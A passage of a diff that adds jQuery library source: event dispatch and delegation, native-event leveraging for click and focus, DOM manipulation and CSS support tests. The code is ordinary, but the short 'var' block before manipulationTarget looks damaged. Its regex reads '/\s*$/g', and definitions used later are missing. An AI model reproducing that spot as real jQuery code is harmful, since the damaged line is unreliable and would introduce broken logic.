= event; + + for ( i = 1; i < arguments.length; i++ ) { + args[ i ] = arguments[ i ]; + } + + event.delegateTarget = this; + + // Call the preDispatch hook for the mapped type, and let it bail if desired + if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { + return; + } + + // Determine handlers + handlerQueue = jQuery.event.handlers.call( this, event, handlers ); + + // Run delegates first; they may want to stop propagation beneath us + i = 0; + while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { + event.currentTarget = matched.elem; + + j = 0; + while ( ( handleObj = matched.handlers[ j++ ] ) && + !event.isImmediatePropagationStopped() ) { + + // If the event is namespaced, then each handler is only invoked if it is + // specially universal or its namespaces are a superset of the event's. + if ( !event.rnamespace || handleObj.namespace === false || + event.rnamespace.test( handleObj.namespace ) ) { + + event.handleObj = handleObj; + event.data = handleObj.data; + + ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || + handleObj.handler ).apply( matched.elem, args ); + + if ( ret !== undefined ) { + if ( ( event.result = ret ) === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + } + } + } + + // Call the postDispatch hook for the mapped type + if ( special.postDispatch ) { + special.postDispatch.call( this, event ); + } + + return event.result; + }, + + handlers: function( event, handlers ) { + var i, handleObj, sel, matchedHandlers, matchedSelectors, + handlerQueue = [], + delegateCount = handlers.delegateCount, + cur = event.target; + + // Find delegate handlers + if ( delegateCount && + + // Support: IE <=9 + // Black-hole SVG instance trees (trac-13180) + cur.nodeType && + + // Support: Firefox <=42 + // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) + // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click + // Support: IE 11 only + // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) + !( event.type === "click" && event.button >= 1 ) ) { + + for ( ; cur !== this; cur = cur.parentNode || this ) { + + // Don't check non-elements (trac-13208) + // Don't process clicks on disabled elements (trac-6911, trac-8165, trac-11382, trac-11764) + if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { + matchedHandlers = []; + matchedSelectors = {}; + for ( i = 0; i < delegateCount; i++ ) { + handleObj = handlers[ i ]; + + // Don't conflict with Object.prototype properties (trac-13203) + sel = handleObj.selector + " "; + + if ( matchedSelectors[ sel ] === undefined ) { + matchedSelectors[ sel ] = handleObj.needsContext ? + jQuery( sel, this ).index( cur ) > -1 : + jQuery.find( sel, this, null, [ cur ] ).length; + } + if ( matchedSelectors[ sel ] ) { + matchedHandlers.push( handleObj ); + } + } + if ( matchedHandlers.length ) { + handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); + } + } + } + } + + // Add the remaining (directly-bound) handlers + cur = this; + if ( delegateCount < handlers.length ) { + handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); + } + + return handlerQueue; + }, + + addProp: function( name, hook ) { + Object.defineProperty( jQuery.Event.prototype, name, { + enumerable: true, + configurable: true, + + get: isFunction( hook ) ? + function() { + if ( this.originalEvent ) { + return hook( this.originalEvent ); + } + } : + function() { + if ( this.originalEvent ) { + return this.originalEvent[ name ]; + } + }, + + set: function( value ) { + Object.defineProperty( this, name, { + enumerable: true, + configurable: true, + writable: true, + value: value + } ); + } + } ); + }, + + fix: function( originalEvent ) { + return originalEvent[ jQuery.expando ] ? + originalEvent : + new jQuery.Event( originalEvent ); + }, + + special: { + load: { + + // Prevent triggered image.load events from bubbling to window.load + noBubble: true + }, + click: { + + // Utilize native event to ensure correct state for checkable inputs + setup: function( data ) { + + // For mutual compressibility with _default, replace `this` access with a local var. + // `|| data` is dead code meant only to preserve the variable through minification. + var el = this || data; + + // Claim the first handler + if ( rcheckableType.test( el.type ) && + el.click && nodeName( el, "input" ) ) { + + // dataPriv.set( el, "click", ... ) + leverageNative( el, "click", true ); + } + + // Return false to allow normal processing in the caller + return false; + }, + trigger: function( data ) { + + // For mutual compressibility with _default, replace `this` access with a local var. + // `|| data` is dead code meant only to preserve the variable through minification. + var el = this || data; + + // Force setup before triggering a click + if ( rcheckableType.test( el.type ) && + el.click && nodeName( el, "input" ) ) { + + leverageNative( el, "click" ); + } + + // Return non-false to allow normal event-path propagation + return true; + }, + + // For cross-browser consistency, suppress native .click() on links + // Also prevent it if we're currently inside a leveraged native-event stack + _default: function( event ) { + var target = event.target; + return rcheckableType.test( target.type ) && + target.click && nodeName( target, "input" ) && + dataPriv.get( target, "click" ) || + nodeName( target, "a" ); + } + }, + + beforeunload: { + postDispatch: function( event ) { + + // Support: Firefox 20+ + // Firefox doesn't alert if the returnValue field is not set. + if ( event.result !== undefined && event.originalEvent ) { + event.originalEvent.returnValue = event.result; + } + } + } + } +}; + +// Ensure the presence of an event listener that handles manually-triggered +// synthetic events by interrupting progress until reinvoked in response to +// *native* events that it fires directly, ensuring that state changes have +// already occurred before other listeners are invoked. +function leverageNative( el, type, isSetup ) { + + // Missing `isSetup` indicates a trigger call, which must force setup through jQuery.event.add + if ( !isSetup ) { + if ( dataPriv.get( el, type ) === undefined ) { + jQuery.event.add( el, type, returnTrue ); + } + return; + } + + // Register the controller as a special universal handler for all event namespaces + dataPriv.set( el, type, false ); + jQuery.event.add( el, type, { + namespace: false, + handler: function( event ) { + var result, + saved = dataPriv.get( this, type ); + + if ( ( event.isTrigger & 1 ) && this[ type ] ) { + + // Interrupt processing of the outer synthetic .trigger()ed event + if ( !saved ) { + + // Store arguments for use when handling the inner native event + // There will always be at least one argument (an event object), so this array + // will not be confused with a leftover capture object. + saved = slice.call( arguments ); + dataPriv.set( this, type, saved ); + + // Trigger the native event and capture its result + this[ type ](); + result = dataPriv.get( this, type ); + dataPriv.set( this, type, false ); + + if ( saved !== result ) { + + // Cancel the outer synthetic event + event.stopImmediatePropagation(); + event.preventDefault(); + + return result; + } + + // If this is an inner synthetic event for an event with a bubbling surrogate + // (focus or blur), assume that the surrogate already propagated from triggering + // the native event and prevent that from happening again here. + // This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the + // bubbling surrogate propagates *after* the non-bubbling base), but that seems + // less bad than duplication. + } else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) { + event.stopPropagation(); + } + + // If this is a native event triggered above, everything is now in order + // Fire an inner synthetic event with the original arguments + } else if ( saved ) { + + // ...and capture the result + dataPriv.set( this, type, jQuery.event.trigger( + saved[ 0 ], + saved.slice( 1 ), + this + ) ); + + // Abort handling of the native event by all jQuery handlers while allowing + // native handlers on the same element to run. On target, this is achieved + // by stopping immediate propagation just on the jQuery event. However, + // the native event is re-wrapped by a jQuery one on each level of the + // propagation so the only way to stop it for jQuery is to stop it for + // everyone via native `stopPropagation()`. This is not a problem for + // focus/blur which don't bubble, but it does also stop click on checkboxes + // and radios. We accept this limitation. + event.stopPropagation(); + event.isImmediatePropagationStopped = returnTrue; + } + } + } ); +} + +jQuery.removeEvent = function( elem, type, handle ) { + + // This "if" is needed for plain objects + if ( elem.removeEventListener ) { + elem.removeEventListener( type, handle ); + } +}; + +jQuery.Event = function( src, props ) { + + // Allow instantiation without the 'new' keyword + if ( !( this instanceof jQuery.Event ) ) { + return new jQuery.Event( src, props ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + + // Events bubbling up the document may have been marked as prevented + // by a handler lower down the tree; reflect the correct value. + this.isDefaultPrevented = src.defaultPrevented || + src.defaultPrevented === undefined && + + // Support: Android <=2.3 only + src.returnValue === false ? + returnTrue : + returnFalse; + + // Create target properties + // Support: Safari <=6 - 7 only + // Target should not be a text node (trac-504, trac-13143) + this.target = ( src.target && src.target.nodeType === 3 ) ? + src.target.parentNode : + src.target; + + this.currentTarget = src.currentTarget; + this.relatedTarget = src.relatedTarget; + + // Event type + } else { + this.type = src; + } + + // Put explicitly provided properties onto the event object + if ( props ) { + jQuery.extend( this, props ); + } + + // Create a timestamp if incoming event doesn't have one + this.timeStamp = src && src.timeStamp || Date.now(); + + // Mark it as fixed + this[ jQuery.expando ] = true; +}; + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + constructor: jQuery.Event, + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse, + isSimulated: false, + + preventDefault: function() { + var e = this.originalEvent; + + this.isDefaultPrevented = returnTrue; + + if ( e && !this.isSimulated ) { + e.preventDefault(); + } + }, + stopPropagation: function() { + var e = this.originalEvent; + + this.isPropagationStopped = returnTrue; + + if ( e && !this.isSimulated ) { + e.stopPropagation(); + } + }, + stopImmediatePropagation: function() { + var e = this.originalEvent; + + this.isImmediatePropagationStopped = returnTrue; + + if ( e && !this.isSimulated ) { + e.stopImmediatePropagation(); + } + + this.stopPropagation(); + } +}; + +// Includes all common event props including KeyEvent and MouseEvent specific props +jQuery.each( { + altKey: true, + bubbles: true, + cancelable: true, + changedTouches: true, + ctrlKey: true, + detail: true, + eventPhase: true, + metaKey: true, + pageX: true, + pageY: true, + shiftKey: true, + view: true, + "char": true, + code: true, + charCode: true, + key: true, + keyCode: true, + button: true, + buttons: true, + clientX: true, + clientY: true, + offsetX: true, + offsetY: true, + pointerId: true, + pointerType: true, + screenX: true, + screenY: true, + targetTouches: true, + toElement: true, + touches: true, + which: true +}, jQuery.event.addProp ); + +jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) { + + function focusMappedHandler( nativeEvent ) { + if ( document.documentMode ) { + + // Support: IE 11+ + // Attach a single focusin/focusout handler on the document while someone wants + // focus/blur. This is because the former are synchronous in IE while the latter + // are async. In other browsers, all those handlers are invoked synchronously. + + // `handle` from private data would already wrap the event, but we need + // to change the `type` here. + var handle = dataPriv.get( this, "handle" ), + event = jQuery.event.fix( nativeEvent ); + event.type = nativeEvent.type === "focusin" ? "focus" : "blur"; + event.isSimulated = true; + + // First, handle focusin/focusout + handle( nativeEvent ); + + // ...then, handle focus/blur + // + // focus/blur don't bubble while focusin/focusout do; simulate the former by only + // invoking the handler at the lower level. + if ( event.target === event.currentTarget ) { + + // The setup part calls `leverageNative`, which, in turn, calls + // `jQuery.event.add`, so event handle will already have been set + // by this point. + handle( event ); + } + } else { + + // For non-IE browsers, attach a single capturing handler on the document + // while someone wants focusin/focusout. + jQuery.event.simulate( delegateType, nativeEvent.target, + jQuery.event.fix( nativeEvent ) ); + } + } + + jQuery.event.special[ type ] = { + + // Utilize native event if possible so blur/focus sequence is correct + setup: function() { + + var attaches; + + // Claim the first handler + // dataPriv.set( this, "focus", ... ) + // dataPriv.set( this, "blur", ... ) + leverageNative( this, type, true ); + + if ( document.documentMode ) { + + // Support: IE 9 - 11+ + // We use the same native handler for focusin & focus (and focusout & blur) + // so we need to coordinate setup & teardown parts between those events. + // Use `delegateType` as the key as `type` is already used by `leverageNative`. + attaches = dataPriv.get( this, delegateType ); + if ( !attaches ) { + this.addEventListener( delegateType, focusMappedHandler ); + } + dataPriv.set( this, delegateType, ( attaches || 0 ) + 1 ); + } else { + + // Return false to allow normal processing in the caller + return false; + } + }, + trigger: function() { + + // Force setup before trigger + leverageNative( this, type ); + + // Return non-false to allow normal event-path propagation + return true; + }, + + teardown: function() { + var attaches; + + if ( document.documentMode ) { + attaches = dataPriv.get( this, delegateType ) - 1; + if ( !attaches ) { + this.removeEventListener( delegateType, focusMappedHandler ); + dataPriv.remove( this, delegateType ); + } else { + dataPriv.set( this, delegateType, attaches ); + } + } else { + + // Return false to indicate standard teardown should be applied + return false; + } + }, + + // Suppress native focus or blur if we're currently inside + // a leveraged native-event stack + _default: function( event ) { + return dataPriv.get( event.target, type ); + }, + + delegateType: delegateType + }; + + // Support: Firefox <=44 + // Firefox doesn't have focus(in | out) events + // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 + // + // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 + // focus(in | out) events fire after focus & blur events, + // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order + // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 + // + // Support: IE 9 - 11+ + // To preserve relative focusin/focus & focusout/blur event order guaranteed on the 3.x branch, + // attach a single handler for both events in IE. + jQuery.event.special[ delegateType ] = { + setup: function() { + + // Handle: regular nodes (via `this.ownerDocument`), window + // (via `this.document`) & document (via `this`). + var doc = this.ownerDocument || this.document || this, + dataHolder = document.documentMode ? this : doc, + attaches = dataPriv.get( dataHolder, delegateType ); + + // Support: IE 9 - 11+ + // We use the same native handler for focusin & focus (and focusout & blur) + // so we need to coordinate setup & teardown parts between those events. + // Use `delegateType` as the key as `type` is already used by `leverageNative`. + if ( !attaches ) { + if ( document.documentMode ) { + this.addEventListener( delegateType, focusMappedHandler ); + } else { + doc.addEventListener( type, focusMappedHandler, true ); + } + } + dataPriv.set( dataHolder, delegateType, ( attaches || 0 ) + 1 ); + }, + teardown: function() { + var doc = this.ownerDocument || this.document || this, + dataHolder = document.documentMode ? this : doc, + attaches = dataPriv.get( dataHolder, delegateType ) - 1; + + if ( !attaches ) { + if ( document.documentMode ) { + this.removeEventListener( delegateType, focusMappedHandler ); + } else { + doc.removeEventListener( type, focusMappedHandler, true ); + } + dataPriv.remove( dataHolder, delegateType ); + } else { + dataPriv.set( dataHolder, delegateType, attaches ); + } + } + }; +} ); + +// Create mouseenter/leave events using mouseover/out and event-time checks +// so that event delegation works in jQuery. +// Do the same for pointerenter/pointerleave and pointerover/pointerout +// +// Support: Safari 7 only +// Safari sends mouseenter too often; see: +// https://bugs.chromium.org/p/chromium/issues/detail?id=470258 +// for the description of the bug (it existed in older Chrome versions as well). +jQuery.each( { + mouseenter: "mouseover", + mouseleave: "mouseout", + pointerenter: "pointerover", + pointerleave: "pointerout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + delegateType: fix, + bindType: fix, + + handle: function( event ) { + var ret, + target = this, + related = event.relatedTarget, + handleObj = event.handleObj; + + // For mouseenter/leave call the handler if related is outside the target. + // NB: No relatedTarget if the mouse left/entered the browser window + if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { + event.type = handleObj.origType; + ret = handleObj.handler.apply( this, arguments ); + event.type = fix; + } + return ret; + } + }; +} ); + +jQuery.fn.extend( { + + on: function( types, selector, data, fn ) { + return on( this, types, selector, data, fn ); + }, + one: function( types, selector, data, fn ) { + return on( this, types, selector, data, fn, 1 ); + }, + off: function( types, selector, fn ) { + var handleObj, type; + if ( types && types.preventDefault && types.handleObj ) { + + // ( event ) dispatched jQuery.Event + handleObj = types.handleObj; + jQuery( types.delegateTarget ).off( + handleObj.namespace ? + handleObj.origType + "." + handleObj.namespace : + handleObj.origType, + handleObj.selector, + handleObj.handler + ); + return this; + } + if ( typeof types === "object" ) { + + // ( types-object [, selector] ) + for ( type in types ) { + this.off( type, selector, types[ type ] ); + } + return this; + } + if ( selector === false || typeof selector === "function" ) { + + // ( types [, fn] ) + fn = selector; + selector = undefined; + } + if ( fn === false ) { + fn = returnFalse; + } + return this.each( function() { + jQuery.event.remove( this, types, fn, selector ); + } ); + } +} ); + + +var + + // Support: IE <=10 - 11, Edge 12 - 13 only + // In IE/Edge using regex groups here causes severe slowdowns. + // See https://connect.microsoft.com/IE/feedback/details/1736512/ + rnoInnerhtml = /\s*$/g; + +// Prefer a tbody over its parent table for containing new rows +function manipulationTarget( elem, content ) { + if ( nodeName( elem, "table" ) && + nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { + + return jQuery( elem ).children( "tbody" )[ 0 ] || elem; + } + + return elem; +} + +// Replace/restore the type attribute of script elements for safe DOM manipulation +function disableScript( elem ) { + elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; + return elem; +} +function restoreScript( elem ) { + if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) { + elem.type = elem.type.slice( 5 ); + } else { + elem.removeAttribute( "type" ); + } + + return elem; +} + +function cloneCopyEvent( src, dest ) { + var i, l, type, pdataOld, udataOld, udataCur, events; + + if ( dest.nodeType !== 1 ) { + return; + } + + // 1. Copy private data: events, handlers, etc. + if ( dataPriv.hasData( src ) ) { + pdataOld = dataPriv.get( src ); + events = pdataOld.events; + + if ( events ) { + dataPriv.remove( dest, "handle events" ); + + for ( type in events ) { + for ( i = 0, l = events[ type ].length; i < l; i++ ) { + jQuery.event.add( dest, type, events[ type ][ i ] ); + } + } + } + } + + // 2. Copy user data + if ( dataUser.hasData( src ) ) { + udataOld = dataUser.access( src ); + udataCur = jQuery.extend( {}, udataOld ); + + dataUser.set( dest, udataCur ); + } +} + +// Fix IE bugs, see support tests +function fixInput( src, dest ) { + var nodeName = dest.nodeName.toLowerCase(); + + // Fails to persist the checked state of a cloned checkbox or radio button. + if ( nodeName === "input" && rcheckableType.test( src.type ) ) { + dest.checked = src.checked; + + // Fails to return the selected option to the default selected state when cloning options + } else if ( nodeName === "input" || nodeName === "textarea" ) { + dest.defaultValue = src.defaultValue; + } +} + +function domManip( collection, args, callback, ignored ) { + + // Flatten any nested arrays + args = flat( args ); + + var fragment, first, scripts, hasScripts, node, doc, + i = 0, + l = collection.length, + iNoClone = l - 1, + value = args[ 0 ], + valueIsFunction = isFunction( value ); + + // We can't cloneNode fragments that contain checked, in WebKit + if ( valueIsFunction || + ( l > 1 && typeof value === "string" && + !support.checkClone && rchecked.test( value ) ) ) { + return collection.each( function( index ) { + var self = collection.eq( index ); + if ( valueIsFunction ) { + args[ 0 ] = value.call( this, index, self.html() ); + } + domManip( self, args, callback, ignored ); + } ); + } + + if ( l ) { + fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); + first = fragment.firstChild; + + if ( fragment.childNodes.length === 1 ) { + fragment = first; + } + + // Require either new content or an interest in ignored elements to invoke the callback + if ( first || ignored ) { + scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); + hasScripts = scripts.length; + + // Use the original fragment for the last item + // instead of the first because it can end up + // being emptied incorrectly in certain situations (trac-8070). + for ( ; i < l; i++ ) { + node = fragment; + + if ( i !== iNoClone ) { + node = jQuery.clone( node, true, true ); + + // Keep references to cloned scripts for later restoration + if ( hasScripts ) { + + // Support: Android <=4.0 only, PhantomJS 1 only + // push.apply(_, arraylike) throws on ancient WebKit + jQuery.merge( scripts, getAll( node, "script" ) ); + } + } + + callback.call( collection[ i ], node, i ); + } + + if ( hasScripts ) { + doc = scripts[ scripts.length - 1 ].ownerDocument; + + // Re-enable scripts + jQuery.map( scripts, restoreScript ); + + // Evaluate executable scripts on first document insertion + for ( i = 0; i < hasScripts; i++ ) { + node = scripts[ i ]; + if ( rscriptType.test( node.type || "" ) && + !dataPriv.access( node, "globalEval" ) && + jQuery.contains( doc, node ) ) { + + if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) { + + // Optional AJAX dependency, but won't run scripts if not present + if ( jQuery._evalUrl && !node.noModule ) { + jQuery._evalUrl( node.src, { + nonce: node.nonce || node.getAttribute( "nonce" ) + }, doc ); + } + } else { + + // Unwrap a CDATA section containing script contents. This shouldn't be + // needed as in XML documents they're already not visible when + // inspecting element contents and in HTML documents they have no + // meaning but we're preserving that logic for backwards compatibility. + // This will be removed completely in 4.0. See gh-4904. + DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc ); + } + } + } + } + } + } + + return collection; +} + +function remove( elem, selector, keepData ) { + var node, + nodes = selector ? jQuery.filter( selector, elem ) : elem, + i = 0; + + for ( ; ( node = nodes[ i ] ) != null; i++ ) { + if ( !keepData && node.nodeType === 1 ) { + jQuery.cleanData( getAll( node ) ); + } + + if ( node.parentNode ) { + if ( keepData && isAttached( node ) ) { + setGlobalEval( getAll( node, "script" ) ); + } + node.parentNode.removeChild( node ); + } + } + + return elem; +} + +jQuery.extend( { + htmlPrefilter: function( html ) { + return html; + }, + + clone: function( elem, dataAndEvents, deepDataAndEvents ) { + var i, l, srcElements, destElements, + clone = elem.cloneNode( true ), + inPage = isAttached( elem ); + + // Fix IE cloning issues + if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && + !jQuery.isXMLDoc( elem ) ) { + + // We eschew jQuery#find here for performance reasons: + // https://jsperf.com/getall-vs-sizzle/2 + destElements = getAll( clone ); + srcElements = getAll( elem ); + + for ( i = 0, l = srcElements.length; i < l; i++ ) { + fixInput( srcElements[ i ], destElements[ i ] ); + } + } + + // Copy the events from the original to the clone + if ( dataAndEvents ) { + if ( deepDataAndEvents ) { + srcElements = srcElements || getAll( elem ); + destElements = destElements || getAll( clone ); + + for ( i = 0, l = srcElements.length; i < l; i++ ) { + cloneCopyEvent( srcElements[ i ], destElements[ i ] ); + } + } else { + cloneCopyEvent( elem, clone ); + } + } + + // Preserve script evaluation history + destElements = getAll( clone, "script" ); + if ( destElements.length > 0 ) { + setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); + } + + // Return the cloned set + return clone; + }, + + cleanData: function( elems ) { + var data, elem, type, + special = jQuery.event.special, + i = 0; + + for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { + if ( acceptData( elem ) ) { + if ( ( data = elem[ dataPriv.expando ] ) ) { + if ( data.events ) { + for ( type in data.events ) { + if ( special[ type ] ) { + jQuery.event.remove( elem, type ); + + // This is a shortcut to avoid jQuery.event.remove's overhead + } else { + jQuery.removeEvent( elem, type, data.handle ); + } + } + } + + // Support: Chrome <=35 - 45+ + // Assign undefined instead of using delete, see Data#remove + elem[ dataPriv.expando ] = undefined; + } + if ( elem[ dataUser.expando ] ) { + + // Support: Chrome <=35 - 45+ + // Assign undefined instead of using delete, see Data#remove + elem[ dataUser.expando ] = undefined; + } + } + } + } +} ); + +jQuery.fn.extend( { + detach: function( selector ) { + return remove( this, selector, true ); + }, + + remove: function( selector ) { + return remove( this, selector ); + }, + + text: function( value ) { + return access( this, function( value ) { + return value === undefined ? + jQuery.text( this ) : + this.empty().each( function() { + if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { + this.textContent = value; + } + } ); + }, null, value, arguments.length ); + }, + + append: function() { + return domManip( this, arguments, function( elem ) { + if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { + var target = manipulationTarget( this, elem ); + target.appendChild( elem ); + } + } ); + }, + + prepend: function() { + return domManip( this, arguments, function( elem ) { + if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { + var target = manipulationTarget( this, elem ); + target.insertBefore( elem, target.firstChild ); + } + } ); + }, + + before: function() { + return domManip( this, arguments, function( elem ) { + if ( this.parentNode ) { + this.parentNode.insertBefore( elem, this ); + } + } ); + }, + + after: function() { + return domManip( this, arguments, function( elem ) { + if ( this.parentNode ) { + this.parentNode.insertBefore( elem, this.nextSibling ); + } + } ); + }, + + empty: function() { + var elem, + i = 0; + + for ( ; ( elem = this[ i ] ) != null; i++ ) { + if ( elem.nodeType === 1 ) { + + // Prevent memory leaks + jQuery.cleanData( getAll( elem, false ) ); + + // Remove any remaining nodes + elem.textContent = ""; + } + } + + return this; + }, + + clone: function( dataAndEvents, deepDataAndEvents ) { + dataAndEvents = dataAndEvents == null ? false : dataAndEvents; + deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; + + return this.map( function() { + return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); + } ); + }, + + html: function( value ) { + return access( this, function( value ) { + var elem = this[ 0 ] || {}, + i = 0, + l = this.length; + + if ( value === undefined && elem.nodeType === 1 ) { + return elem.innerHTML; + } + + // See if we can take a shortcut and just use innerHTML + if ( typeof value === "string" && !rnoInnerhtml.test( value ) && + !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { + + value = jQuery.htmlPrefilter( value ); + + try { + for ( ; i < l; i++ ) { + elem = this[ i ] || {}; + + // Remove element nodes and prevent memory leaks + if ( elem.nodeType === 1 ) { + jQuery.cleanData( getAll( elem, false ) ); + elem.innerHTML = value; + } + } + + elem = 0; + + // If using innerHTML throws an exception, use the fallback method + } catch ( e ) {} + } + + if ( elem ) { + this.empty().append( value ); + } + }, null, value, arguments.length ); + }, + + replaceWith: function() { + var ignored = []; + + // Make the changes, replacing each non-ignored context element with the new content + return domManip( this, arguments, function( elem ) { + var parent = this.parentNode; + + if ( jQuery.inArray( this, ignored ) < 0 ) { + jQuery.cleanData( getAll( this ) ); + if ( parent ) { + parent.replaceChild( elem, this ); + } + } + + // Force callback invocation + }, ignored ); + } +} ); + +jQuery.each( { + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith" +}, function( name, original ) { + jQuery.fn[ name ] = function( selector ) { + var elems, + ret = [], + insert = jQuery( selector ), + last = insert.length - 1, + i = 0; + + for ( ; i <= last; i++ ) { + elems = i === last ? this : this.clone( true ); + jQuery( insert[ i ] )[ original ]( elems ); + + // Support: Android <=4.0 only, PhantomJS 1 only + // .get() because push.apply(_, arraylike) throws on ancient WebKit + push.apply( ret, elems.get() ); + } + + return this.pushStack( ret ); + }; +} ); +var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); + +var rcustomProp = /^--/; + + +var getStyles = function( elem ) { + + // Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150) + // IE throws on elements created in popups + // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" + var view = elem.ownerDocument.defaultView; + + if ( !view || !view.opener ) { + view = window; + } + + return view.getComputedStyle( elem ); + }; + +var swap = function( elem, options, callback ) { + var ret, name, + old = {}; + + // Remember the old values, and insert the new ones + for ( name in options ) { + old[ name ] = elem.style[ name ]; + elem.style[ name ] = options[ name ]; + } + + ret = callback.call( elem ); + + // Revert the old values + for ( name in options ) { + elem.style[ name ] = old[ name ]; + } + + return ret; +}; + + +var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" ); + + + +( function() { + + // Executing both pixelPosition & boxSizingReliable tests require only one layout + // so they're executed at the same time to save the second computation. + function computeStyleTests() { + + // This is a singleton, we need to execute it only once + if ( !div ) { + return; + } + + container.style.cssText = "position:absolute;left:-11111px;width:60px;" + + "margin-top:1px;padding:0;border:0"; + div.style.cssText = + "position:relative;display:block;box-sizing:border-box;overflow:scroll;" + + "margin:auto;border:1px;padding:1px;" + + "width:60%;top:1%"; + documentElement.appendChild( container ).appendChild( div ); + + var divStyle = window.getComputedStyle( div ); + pixelPositionVal = divStyle.top !== "1%"; + + // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 + reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12; + + // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3 + // Some styles come back with percentage values, even though they shouldn't + div.style.right = "60%"; + pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36; + + // Support: IE 9 - 11 only + // Detect misreporting of content dimensions for box-sizing:border-box elements + boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36; + + // Support: IE 9 only + // Detect overflow:scroll screwiness (gh-3699) + // Support: Chrome <=64 + // Don't get tricked when zoom affects offsetWidth (gh-4029) + div.style.position = "absolute"; + scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12; + + documentElement.removeChild( container ); + + // Nullify the div so it wouldn't be stored in the memory and + // it will also be a sign that checks already performed + div = null; + } + + function roundPixelMeasures( measure ) { + return Math.round( parseFloat( measure ) ); + } + + var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal, + reliableTrDimensionsVal, reliableMarginLeftVal, + container = document.createElement( "div" ), + div = document.createElement( "div" ); + + // Finish early in limited (non-browser) environments + if ( !div.style ) { + return; + } + + // Support: IE <=9 - 11 only + // Style of cloned element affects source element cloned (trac-8908) + div.style.backgroundClip = "content-box"; + div.cloneNode( true ).style.backgroundClip = ""; + support.clearCloneStyle = div.style.backgroundClip === "content-box"; + + jQuery.extend( support, { + boxSizingReliable: function() { + computeStyleTests(); + return boxSizingReliableVal; + }, + pixelBoxStyles: function() { + computeStyleTests(); + return pixelBoxStylesVal; + }, + pixelPosition: function() { + computeStyleTests(); + return pixelPositionVal; + }, + reliableMarginLeft: function() { + computeStyleTests(); + return reliableMarginLeftVal; + }, + scrollboxSize: function() { + computeStyleTests(); + return scrollboxSizeVal; + }, + + // Support: IE 9 - 11+, Edge 15 - 18+ + // IE/Edge misreport `getComputedStyle` of table rows with width/height + // set in CSS while `offset*` properties report correct values. + // Behavior in IE 9 is more subtle than in newer versions & it passes + // some versions of this test; make sure not to make it pass there! + // + // Support: Firefox 70+ + // Only Firefox includes border widths + // in computed dimensions. (gh-4529) + reliableTrDimensions: function() { + var table, tr, trChild, trStyle; + if ( reliableTrDimensionsVal == null ) { + table = document.createElement( "table" ); + tr = document.createElement( "tr" ); + trChild = document.createElement( "div" ); + + table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate"; + tr.style.cssText = "box-sizing:content-box;border:1px solid"; + + // Support: Chrome 86+ + // Height set through cssText does not get applied. + // Computed height then comes back as 0. + tr.style.height = "1px"; + trChild.style.height = "9px"; + + // Support: Android 8 Chrome 86+ + // In our bodyBackground.html iframe, + // display for all div elements is set to "inline", + // which causes a problem only in Android 8 Chrome 86. + // Ensuring the div is `display: block` + // gets around this issue. + trChild.style.display = "block"; + + documentElement + .appendChild( table ) + .appendChild( tr ) + .appendChild( trChild ); + + trStyle = window.getComputedStyle( tr ); + reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) + + parseInt( trStyle.borderTopWidth, 10 ) + + parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight; + + documentElement.removeChild( table ); + } + return reliableTrDimensionsVal; + } + } ); +} )(); + + +function curCSS( 